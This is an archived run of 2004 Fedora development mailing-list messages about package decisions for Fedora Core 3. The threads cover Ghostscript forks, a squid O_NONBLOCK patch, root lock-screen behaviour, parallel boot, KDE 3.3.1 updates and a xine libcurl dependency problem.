<1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098206179.2798.51.camel@tux.lan> <1098208370.27218.12.camel@decepticon.boston.redhat.com> Message-ID: <1098213749.2798.53.camel@tux.lan> Hi, On Tue, 2004-10-19 at 19:52, Colin Walters wrote: > Hmm. Is this against the 2.10 sources? We're only shipping 2.8 in FC3. > I came up with the attached patch which Ray Strode tested and confirmed > worked. Right, sorry, forgot. Yes, it does the same thing. Reminds me, I need to put the GStreamer/Totem patches somewhere too. Will do that before the weekend. Ronald -- Ronald S. Bultje From xose at wanadoo.es Tue Oct 19 19:18:52 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 21:18:52 +0200 Subject: status of ghostscript In-Reply-To: <41755FDB.7060702@wanadoo.es> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <41754557.2000103@wanadoo.es> <20041019165546.GT14187@redhat.com> <41755FDB.7060702@wanadoo.es> Message-ID: <4175689C.7040603@wanadoo.es> Xose Vazquez Perez wrote: > And the main differences GPL vs. GNU are that GNU deletes all files from > Resource/CMap/* because they are: > > %%Copyright: ----------------------------------------------------------- > %%Copyright: Copyright 1990-1996 Adobe Systems Incorporated. > %%Copyright: All Rights Reserved. > %%Copyright: > %%Copyright: Patents Pending > %%Copyright: > %%Copyright: NOTICE: All information contained herein is the property > %%Copyright: of Adobe Systems Incorporated. > %%Copyright: > %%Copyright: Permission is granted for redistribution of this file > %%Copyright: provided this copyright notice is maintained intact and > %%Copyright: that the contents of this file are not altered in any > %%Copyright: way from its original form. > %%Copyright: > %%Copyright: PostScript and Display PostScript are trademarks of > %%Copyright: Adobe Systems Incorporated which may be registered in > %%Copyright: certain jurisdictions. > %%Copyright: ----------------------------------------------------------- I just saw that Fedora brings a patch (adobe-cmaps-200202.tar.gz) with the files that are deleted from GNU ghostscript. So it's better to use GPL ghostscript than GNU ghostscript. -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From walters at redhat.com Tue Oct 19 19:20:23 2004 From: walters at redhat.com (Colin Walters) Date: Tue, 19 Oct 2004 15:20:23 -0400 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098213749.2798.53.camel@tux.lan> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098206179.2798.51.camel@tux.lan> <1098208370.27218.12.camel@decepticon.boston.redhat.com> <1098213749.2798.53.camel@tux.lan> Message-ID: <1098213623.27218.19.camel@decepticon.boston.redhat.com> On Tue, 2004-10-19 at 21:22 +0200, Ronald S. Bultje wrote: > Hi, > > On Tue, 2004-10-19 at 19:52, Colin Walters wrote: > > Hmm. Is this against the 2.10 sources? We're only shipping 2.8 in FC3. > > I came up with the attached patch which Ray Strode tested and confirmed > > worked. > > Right, sorry, forgot. Yes, it does the same thing. > > Reminds me, I need to put the GStreamer/Totem patches somewhere too. > Will do that before the weekend. Tomorrow is "Absolute devel freeze" :/ That's not to say things aren't doable as updates though, especially for totem. From twaugh at redhat.com Tue Oct 19 19:20:52 2004 From: twaugh at redhat.com (Tim Waugh) Date: Tue, 19 Oct 2004 20:20:52 +0100 Subject: status of ghostscript In-Reply-To: <41755FDB.7060702@wanadoo.es> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <41754557.2000103@wanadoo.es> <20041019165546.GT14187@redhat.com> <41755FDB.7060702@wanadoo.es> Message-ID: <20041019192052.GV14187@redhat.com> On Tue, Oct 19, 2004 at 08:41:31PM +0200, Xose Vazquez Perez wrote: > Tim Waugh wrote: > > >Okay -- but what are the differences between ESP Ghostscript and the > >Ghostscript package we actually ship? > > latest Fedora Ghostscript and latest ESP Ghostscript are both based on GNU > 7.07. > but ESP brings -> > http://cvs.sourceforge.net/viewcvs.py/espgs/espgs/CHANGES?rev=1.101 I know that *currently* Fedora Ghostscript is based on GNU Ghostscript 7.07 -- that's because I just haven't had the time to port all the patches. But in principle someone from the Fedora Community could do that, or it could be made a blocker/target for the next development cycle, etc. Whereas with ESP Ghostscript we would be reliant on ESP to do the work. The other way of looking at it is that ESP would do the work and we wouldn't have to. :-) Just want to figure out which is more appropriate for Fedora Core. Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From fedora at wir-sind-cool.org Tue Oct 19 19:22:35 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Tue, 19 Oct 2004 21:22:35 +0200 Subject: rawhide report: 20041019 changes In-Reply-To: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> References: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> Message-ID: <20041019212235.44ff6142.fedora@wir-sind-cool.org> On Tue, 19 Oct 2004 07:57:06 -0400, Build System wrote: > squid-2.5.STABLE6-3 > ------------------- > * Mon Oct 18 2004 Jay Fenlason 7:2.5.STABLE6-3 > > - include patch from Ulrich Drepper to stop > problems with O_NONBLOCK. This closes #136049 I see the included patch drops O_NONBLOCK from the flags. Is this supposed to be done with all other applications too, which are broken by kernel-2.6.8-1.624? From rbultje at ronald.bitfreak.net Tue Oct 19 19:34:30 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Tue, 19 Oct 2004 21:34:30 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098213623.27218.19.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098206179.2798.51.camel@tux.lan> <1098208370.27218.12.camel@decepticon.boston.redhat.com> <1098213749.2798.53.camel@tux.lan> <1098213623.27218.19.camel@decepticon.boston.redhat.com> Message-ID: <1098214469.2798.55.camel@tux.lan> On Tue, 2004-10-19 at 21:20, Colin Walters wrote: > Tomorrow is "Absolute devel freeze" :/ > That's not to say things aren't doable as updates though, especially for > totem. OK, tomorrow morning it is then. :). Ronald -- Ronald S. Bultje From paul at all-the-johnsons.co.uk Tue Oct 19 19:26:21 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 19 Oct 2004 20:26:21 +0100 Subject: Paralell startup In-Reply-To: <1098204563.18506.1.camel@localhost.localdomain> References: <1098202227.2734.23.camel@kyrre> <1098204563.18506.1.camel@localhost.localdomain> Message-ID: <1098213981.20658.8.camel@localhost.localdomain> Hi, > > I am hearing much good from the gentoo camp about paralell startup, and > > how it brings down boot times to about 30 secounds. Is this possible to > > do with fedora as well? > > No. If you disable the prelinker, you *should* be able to do it. Unless there is something with selinux which prevents it of course. TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From walters at redhat.com Tue Oct 19 19:32:21 2004 From: walters at redhat.com (Colin Walters) Date: Tue, 19 Oct 2004 15:32:21 -0400 Subject: rawhide report: 20041019 changes In-Reply-To: <20041019212235.44ff6142.fedora@wir-sind-cool.org> References: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> <20041019212235.44ff6142.fedora@wir-sind-cool.org> Message-ID: <1098214341.27218.21.camel@decepticon.boston.redhat.com> On Tue, 2004-10-19 at 21:22 +0200, Michael Schwendt wrote: > On Tue, 19 Oct 2004 07:57:06 -0400, Build System wrote: > > > squid-2.5.STABLE6-3 > > ------------------- > > * Mon Oct 18 2004 Jay Fenlason 7:2.5.STABLE6-3 > > > > - include patch from Ulrich Drepper to stop > > problems with O_NONBLOCK. This closes #136049 > > I see the included patch drops O_NONBLOCK from the flags. Is this > supposed to be done with all other applications too, which are broken > by kernel-2.6.8-1.624? No, the O_NONBLOCK kernel patch will be reverted for FC3, but it should appear in FC4. However it's probably useful to fix applications now too, since it's an easy fix for most of them and shouldn't be dangerous. From fenlason at redhat.com Tue Oct 19 19:39:56 2004 From: fenlason at redhat.com (Jay Fenlason) Date: Tue, 19 Oct 2004 15:39:56 -0400 Subject: rawhide report: 20041019 changes In-Reply-To: <20041019212235.44ff6142.fedora@wir-sind-cool.org> References: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> <20041019212235.44ff6142.fedora@wir-sind-cool.org> Message-ID: <20041019193956.GA4357@redhat.com> On Tue, Oct 19, 2004 at 09:22:35PM +0200, Michael Schwendt wrote: > On Tue, 19 Oct 2004 07:57:06 -0400, Build System wrote: > > > squid-2.5.STABLE6-3 > > ------------------- > > * Mon Oct 18 2004 Jay Fenlason 7:2.5.STABLE6-3 > > > > - include patch from Ulrich Drepper to stop > > problems with O_NONBLOCK. This closes #136049 > > I see the included patch drops O_NONBLOCK from the flags. Is this > supposed to be done with all other applications too, which are broken > by kernel-2.6.8-1.624? Eventually. The O_NONBLOCK patch got dropped from the kernel because it broke too many applications, but it'll probably be back. specifying O_NONBLOCK, then failing to handle EAGAIN reasonably is is an application bug. Unfortunatly, it's a bug that hasn't actually been visible until now. -- JF From Nicolas.Mailhot at laPoste.net Tue Oct 19 19:41:11 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Tue, 19 Oct 2004 21:41:11 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098209949.4259.9.camel@kyrre> References: <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752764.10509@hpcf.upr.edu> <1098198573.3627.123.camel@jonspc> <1098205787.2734.31.camel@kyrre> <20041019175749.GA17417@jadzia.bu.edu> <1098209949.4259.9.camel@kyrre> Message-ID: <1098214871.19876.22.camel@rousalka.dyndns.org> Le mardi 19 octobre 2004 ? 20:19 +0200, Kyrre Ness Sjobak a ?crit : > Anyway, how much is a computer that the user cant use because it is to > tigthly locked up, worth? Why dont we remove tcp/ip altogether? Or > simply the kernel? If the user cant boot it, then it is *really* secure. > And make it forget all data that is saved to disk, just to make sure > that it cant be read later by somebody evil? > > Security can go to far. I do not think security is a bad thing - i just > think that it should not get in the way when it is not nesessary. Security is not something you bolt on as an afterthought. You get security by putting it in the picture from day one, and accepting it will cost you in terms of features at first because the time spent on security won't be spent elsewhere. If you can't accept the compromises security forces on you because of the inconvenience, then you *will* have to do stupid radical measures like removing networking to get your security certification later. I'm all for measures like deprecating root and gradually remove any incentive to do things the insecure way. It's way better than doing an hatchet job the day you realise that because of all the slightly inconvenient decisions that were never taken your security model is about to collapse (The periodic app mass extinctions windows suffers are a good example. The two last ones were named windows 2000 and XP SP2 I think) -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From Nicolas.Mailhot at laPoste.net Tue Oct 19 19:46:07 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Tue, 19 Oct 2004 21:46:07 +0200 Subject: status of ghostscript In-Reply-To: <20041019192052.GV14187@redhat.com> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <41754557.2000103@wanadoo.es> <20041019165546.GT14187@redhat.com> <41755FDB.7060702@wanadoo.es> <20041019192052.GV14187@redhat.com> Message-ID: <1098215167.19876.28.camel@rousalka.dyndns.org> Le mardi 19 octobre 2004 ? 20:20 +0100, Tim Waugh a ?crit : > The other way of looking at it is that ESP would do the work and we > wouldn't have to. :-) > > Just want to figure out which is more appropriate for Fedora Core. I don't know the ESP people, but from my POW their fork could easily turn into something like the ximian oo.o fork (ie a staging area where distros pool patches instead of reinventing the wheel in their little linux corner and massively duplicating efforts). Of course I may be horribly wrong;) Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From xose at wanadoo.es Tue Oct 19 19:57:55 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 21:57:55 +0200 Subject: status of ghostscript In-Reply-To: <1098215167.19876.28.camel@rousalka.dyndns.org> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <41754557.2000103@wanadoo.es> <20041019165546.GT14187@redhat.com> <41755FDB.7060702@wanadoo.es> <20041019192052.GV14187@redhat.com> <1098215167.19876.28.camel@rousalka.dyndns.org> Message-ID: <417571C3.8040707@wanadoo.es> Nicolas Mailhot wrote: > I don't know the ESP people, but from my POW their fork could easily > turn into something like the ximian oo.o fork (ie a staging area where > distros pool patches instead of reinventing the wheel in their little > linux corner and massively duplicating efforts). > > Of course I may be horribly wrong;) the big trouble is AFPL upstream code is not under GPL license so it's impossible to merge patches into it. And the only one option is to maintain an external patch(or repository) as Fedora or ESP are doing. And doing sync with new GPL releases. Or a _real_ fork. -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From drepper at redhat.com Tue Oct 19 20:05:18 2004 From: drepper at redhat.com (Ulrich Drepper) Date: Tue, 19 Oct 2004 13:05:18 -0700 Subject: rawhide report: 20041019 changes In-Reply-To: <20041019193956.GA4357@redhat.com> References: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> <20041019212235.44ff6142.fedora@wir-sind-cool.org> <20041019193956.GA4357@redhat.com> Message-ID: <4175737E.4010905@redhat.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jay Fenlason wrote: > specifying O_NONBLOCK, then failing to handle EAGAIN reasonably is is > an application bug. Unfortunatly, it's a bug that hasn't actually > been visible until now. Well, there currently is no legal way to do this at all without busy loops. select/poll really have to return immediately for files according to POSIX. What would be needed is either to deliberately diverge from POSIX or have a non-standard extension (like another epoll flag) to do what is needed. But it's good advise to look at every program using O_NONBLOCK on files. If it, as in squid's case, just reads a file and cannot proceed until that happens and does not wait in poll/select/epoll while reading, then there is absolutely no reason to use O_NONBLOCK and it should be removed. - -- ? Ulrich Drepper ? Red Hat, Inc. ? 444 Castro St ? Mountain View, CA ? -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFBdXN+2ijCOnn/RHQRAoyWAKDJ1RyyiWjd4Iq0XsOkB3tbx3SXkQCfaEI8 X5G9pd+718RC+NI9Q9iR6O0= =65zv -----END PGP SIGNATURE----- From Nicolas.Mailhot at laPoste.net Tue Oct 19 20:19:10 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Tue, 19 Oct 2004 22:19:10 +0200 Subject: status of ghostscript In-Reply-To: <417571C3.8040707@wanadoo.es> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <41754557.2000103@wanadoo.es> <20041019165546.GT14187@redhat.com> <41755FDB.7060702@wanadoo.es> <20041019192052.GV14187@redhat.com> <1098215167.19876.28.camel@rousalka.dyndns.org> <417571C3.8040707@wanadoo.es> Message-ID: <1098217150.20360.6.camel@rousalka.dyndns.org> Le mardi 19 octobre 2004 ? 21:57 +0200, Xose Vazquez Perez a ?crit : > Nicolas Mailhot wrote: > > > I don't know the ESP people, but from my POW their fork could easily > > turn into something like the ximian oo.o fork (ie a staging area where > > distros pool patches instead of reinventing the wheel in their little > > linux corner and massively duplicating efforts). > > > > Of course I may be horribly wrong;) > > the big trouble is AFPL upstream code is not under GPL license so > it's impossible to merge patches into it. And the only one option > is to maintain an external patch(or repository) as Fedora or ESP are doing. > And doing sync with new GPL releases. This seems much the same problem that with oo.o. Linux distos use a common fork because it is difficult to get code into the main trunc, and obviously Sun people work for Solaris StarOffice users first, and Linux OpenOffice.org users later, so the priorities are not the same. Similarly getting code into gs require upstream noticing (and getting authorisation to use) a patch, merge it into their main version, and _then_ wait for the next version so this one can be freed/gpl'd. Same problem -> different priorities, long wait -> huge patch queue. Getting patches in a common free fork would make it easier for upstream to find them, and provide a common root so fixes can be propagated quickly among free systems. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From louisg00 at bellsouth.net Tue Oct 19 20:19:52 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Tue, 19 Oct 2004 16:19:52 -0400 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla In-Reply-To: <1098153946.6090.3.camel@tiger> References: <1098153946.6090.3.camel@tiger> Message-ID: <1098217192.3704.4.camel@tiger> Spoke to soon. Today I booted my box and fired up firefox and the plugins are gone again. about:plugins showed only the default plugin. I fired up mozilla and sure enough the plugins were their. This has to be a firefox problem. --Louis On Tue, 2004-10-19 at 02:45 +0000, Louis Garcia wrote: > > > I've placed flash and java plugins in /usr/lib/mozilla and firefox > > > picked them up. With the latest version of firefox this does not happen. > > > firefox-0.10.1-1.0PR1.12 is the version I'm running. > > > > worksforme > > rpm -q firefox > > firefox-0.10.1-1.0PR1.12 > > ls /usr/lib/mozilla/plugins/ > > flashplayer.xpt libjavaplugin_oji.so nphelix.xpt > > libflashplayer.so nphelix.so > > > > about:plugins in firefox lists java shockwave flash and helix. > > > > -jef > > I removed and installed the plugins again and it works now. > Don't know what happened there. > > --Louis From kyrre at solution-forge.net Tue Oct 19 20:20:23 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 22:20:23 +0200 Subject: Paralell startup In-Reply-To: <1098213981.20658.8.camel@localhost.localdomain> References: <1098202227.2734.23.camel@kyrre> <1098204563.18506.1.camel@localhost.localdomain> <1098213981.20658.8.camel@localhost.localdomain> Message-ID: <1098217222.4259.14.camel@kyrre> Why does the prelinker make the machine boot 200% slower? tir, 19.10.2004 kl. 21.26 skrev Paul: > Hi, > > > > I am hearing much good from the gentoo camp about paralell startup, and > > > how it brings down boot times to about 30 secounds. Is this possible to > > > do with fedora as well? > > > > No. > > If you disable the prelinker, you *should* be able to do it. Unless > there is something with selinux which prevents it of course. > > TTFN > > Paul From ich at Frank-Schmitt.net Tue Oct 19 20:35:56 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Tue, 19 Oct 2004 22:35:56 +0200 Subject: Should I mention kde-3.3.1? References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> Message-ID: Florian La Roche writes: > On Tue, Oct 19, 2004 at 04:16:31PM +0200, Lars wrote: >> kde 3.3.1 is still not in rawhide. >> would be great to have it there. > > We've been closing down the trees and try to focus on bug-fixing only, > so this version update was vetoed. Than Ngo wants to have kde 3.3.1 > rpm packages for FC3 available from kde.org. 3.3.1 is pure bug-fixing. But why should I rant about it, I more and more get the impression that Fedora tries its best to produce the worst possible experience for KDE users. -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From xose at wanadoo.es Tue Oct 19 20:37:57 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 22:37:57 +0200 Subject: status of ghostscript In-Reply-To: <20041019192052.GV14187@redhat.com> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <41754557.2000103@wanadoo.es> <20041019165546.GT14187@redhat.com> <41755FDB.7060702@wanadoo.es> <20041019192052.GV14187@redhat.com> Message-ID: <41757B25.4080301@wanadoo.es> Tim Waugh wrote: > The other way of looking at it is that ESP would do the work and we > wouldn't have to. :-) > > Just want to figure out which is more appropriate for Fedora Core. out of the box, ESP looks better than GNU. But if you are going to patch GNU Ghostscript with a lot of stuff, maybe FC is the best ;-) -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From rdieter at math.unl.edu Tue Oct 19 20:42:03 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Tue, 19 Oct 2004 15:42:03 -0500 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> Message-ID: <41757C1B.1020803@math.unl.edu> Frank Schmitt wrote: > 3.3.1 is pure bug-fixing. But why should I rant about it, I more and > more get the impression that Fedora tries its best to produce the worst > possible experience for KDE users. What makes you think that? Of late, IMHO, RedHat/Fedora has been doing a fabulous job with KDE, so I'd be interested in hearing how you think their effort is lacking. You even go as far as implying they purposely make KDE bad, which is, also IMO, uncalled for. -- Rex From i at stingr.net Tue Oct 19 20:51:04 2004 From: i at stingr.net (Paul P Komkoff Jr) Date: Wed, 20 Oct 2004 00:51:04 +0400 Subject: Paralell startup In-Reply-To: <1098202227.2734.23.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> Message-ID: <20041019205104.GA3458@stingr.sgu.ru> Replying to Kyrre Ness Sjobak: > I am hearing much good from the gentoo camp about paralell startup, and > how it brings down boot times to about 30 secounds. Is this possible to > do with fedora as well? Gentoo, instead of numeric order of service startup which we have in fedora, implements service dependencies. With dependencies it is pure implementation detail to have system startup in parallel. I doubt if anyone with @redhat.com suffix will consider reworking initscripts to mind service dependencies ... -- Paul P 'Stingray' Komkoff Jr // http://stingr.net/key <- my pgp key This message represents the official view of the voices in my head From xose at wanadoo.es Tue Oct 19 20:52:49 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 22:52:49 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <20041019161900.GA13011@jadzia.bu.edu> References: <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> <2ad7cea104101820394133debd@mail.gmail.com> <1098200680.2734.6.camel@kyrre> <4175392F.20502@wanadoo.es> <20041019161900.GA13011@jadzia.bu.edu> Message-ID: <41757EA1.8040405@wanadoo.es> Matthew Miller wrote: > On Tue, Oct 19, 2004 at 05:56:31PM +0200, Xose Vazquez Perez wrote: > >>>The LDAP system collapsed (or, more consicely, it somehow beginned to >>>take 5 minutes to get a GNOME login (where 5-10 sec is normal...). So, i >>>logged in as root, ran system-config-authentification, turned on user >>>info cacheing, logged back out, and things worked. >> >>what's wrong with logging as any unprivileged user, to open a xterm, >>to run "su -" and then system-config-authentification ? > > > With LDAP down, unpriviledged users couldn't authenticate. Always is a good idea to have a second user(unpriviledged) in local for maintenance, operator or something like this. -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From feliciano.matias at free.fr Tue Oct 19 18:20:26 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Tue, 19 Oct 2004 20:20:26 +0200 Subject: Paralell startup In-Reply-To: <1098205442.27694.2.camel@dcbw.boston.redhat.com> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> Message-ID: <1098210026.18506.7.camel@localhost.localdomain> Le mardi 19 octobre 2004 ? 13:04 -0400, Dan Williams a ?crit : > You'll encounter resistance too from people > who don't care about Desktop OS stuff under Linux and who think that > longer boot times don't matter because they only boot their servers once > a year. The best improvement in boot time you can have is by disabling rhgb. Is rhgb design for server or for desktop ? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From paul at all-the-johnsons.co.uk Tue Oct 19 21:42:51 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 19 Oct 2004 22:42:51 +0100 Subject: Paralell startup In-Reply-To: <1098217222.4259.14.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> <1098204563.18506.1.camel@localhost.localdomain> <1098213981.20658.8.camel@localhost.localdomain> <1098217222.4259.14.camel@kyrre> Message-ID: <1098222172.20658.12.camel@localhost.localdomain> Hi, > Why does the prelinker make the machine boot 200% slower? I never said it did - I don't actually know if it makes it quicker or slower to be honest. TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From ich at Frank-Schmitt.net Tue Oct 19 21:56:42 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Tue, 19 Oct 2004 23:56:42 +0200 Subject: Should I mention kde-3.3.1? References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> <41757C1B.1020803@math.unl.edu> Message-ID: Rex Dieter writes: > Frank Schmitt wrote: > >> 3.3.1 is pure bug-fixing. But why should I rant about it, I more and >> more get the impression that Fedora tries its best to produce the worst >> possible experience for KDE users. > > What makes you think that? Of late, IMHO, RedHat/Fedora has been > doing a fabulous job with KDE, so I'd be interested in hearing how you > think their effort is lacking. You even go as far as implying they > purposely make KDE bad, which is, also IMO, uncalled for. -There were no Core 2 packages for 3.0 -It's not possible to get mp3-support by installing an additional RPM like it is for gnome, you have to recompile kdemultimedia. -Since KDE 3.3 it's more difficult to recompile kdemultimedia as the SRPM includes patched sources, you have to go to ftp.kde.org and get the original sources and place them in RPMBUILDIR/src manually -kdemultimedia has random applications disabled without stating a reason for this anywhere. Juk or Amarok, I don't recall exactly, in KDE 3.2 and 3.3.0, koncd in 3.3.1 -Automatic login with kdm doesn't work since 3.2 -KDE 3.3.1 won't be in Core 3 but come as "one of the first updates", meaning that I'll have to download about 200 mb some days after I downloaded Core 3. -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From mail2pritesh at gmail.com Tue Oct 19 22:02:10 2004 From: mail2pritesh at gmail.com (Pritesh Shah) Date: Tue, 19 Oct 2004 16:02:10 -0600 Subject: fedora and xine. Message-ID: hi, System: Dell Inspiron 8600 OS: Fedora Core 3 Test 2 Package: xine I'm trying to install xine in my system. i downloaded the binaries from freshrpms for fedora 2. i got i think all the prerequisite packages needed installed. when i'm trying to install xine it reports the following error: # rpm -ivh xine-0.99.2-1.1.fc2.fr.i386.rpm warning: xine-0.99.2-1.1.fc2.fr.i386.rpm: V3 DSA signature: NOKEY, key ID e42d547b error: Failed dependencies: libcurl.so.2 is needed by xine-0.99.2-1.1.fc2.fr To find more information on 'curl' i did the following: # rpm -qa | grep curl curl-devel-7.12.0-2 curl-7.12.0-2 # ll /usr/lib | grep libcurl -rw-r--r-- 1 root root 244056 Jul 26 08:29 libcurl.a lrwxrwxrwx 1 root root 16 Sep 25 01:32 libcurl.so -> libcurl.so.3.0.0 lrwxrwxrwx 1 root root 16 Sep 25 01:19 libcurl.so.3 -> libcurl.so.3.0.0 -rwxr-xr-x 1 root root 183196 Jul 26 08:29 libcurl.so.3.0.0 It looks from the information, that although i have curl, the libraries that it installs are libcurl.so.3 and not libcurl.so.2. Now i'm totally lost as to how to solve this problem. could somebody help me on this? Cheers, Pritesh From elanthis at awesomeplay.com Tue Oct 19 22:05:40 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Tue, 19 Oct 2004 18:05:40 -0400 Subject: fedora and xine. In-Reply-To: References: Message-ID: <41758FB4.1060701@awesomeplay.com> Pritesh Shah wrote: >I'm trying to install xine in my system. i downloaded the binaries >from freshrpms for fedora 2. i got i think all the prerequisite >packages needed installed. when i'm trying to install xine it reports >the following error: > ># rpm -ivh xine-0.99.2-1.1.fc2.fr.i386.rpm >warning: xine-0.99.2-1.1.fc2.fr.i386.rpm: V3 DSA signature: NOKEY, key >ID e42d547b >error: Failed dependencies: > libcurl.so.2 is needed by xine-0.99.2-1.1.fc2.fr > > The first problem is that curl is very poorly packaged. Libraries should be packages such that they are parallel installable. I have already filed a bug against the curl package for this. For the fix, I just made a symlink from libcurl.so.2 to libcurl.so.3. They seem to be compatible enough for Xine to at least run. It might reduce stability, though I haven't seen any problems. I don't run Xine over the network, however. Finally, this list is about developing Fedora, not user questions - use fedora-test-list for that. From mail2pritesh at gmail.com Tue Oct 19 22:09:44 2004 From: mail2pritesh at gmail.com (Pritesh Shah) Date: Tue, 19 Oct 2004 16:09:44 -0600 Subject: fedora and xine. In-Reply-To: <41758FB4.1060701@awesomeplay.com> References: <41758FB4.1060701@awesomeplay.com> Message-ID: hi, thanks for the reply and sorry for posting it in the wrong mailing list. Pritesh. On Tue, 19 Oct 2004 18:05:40 -0400, Sean Middleditch wrote: > Pritesh Shah wrote: > > >I'm trying to install xine in my system. i downloaded the binaries > >from freshrpms for fedora 2. i got i think all the prerequisite > >packages needed installed. when i'm trying to install xine it reports > >the following error: > > > ># rpm -ivh xine-0.99.2-1.1.fc2.fr.i386.rpm > >warning: 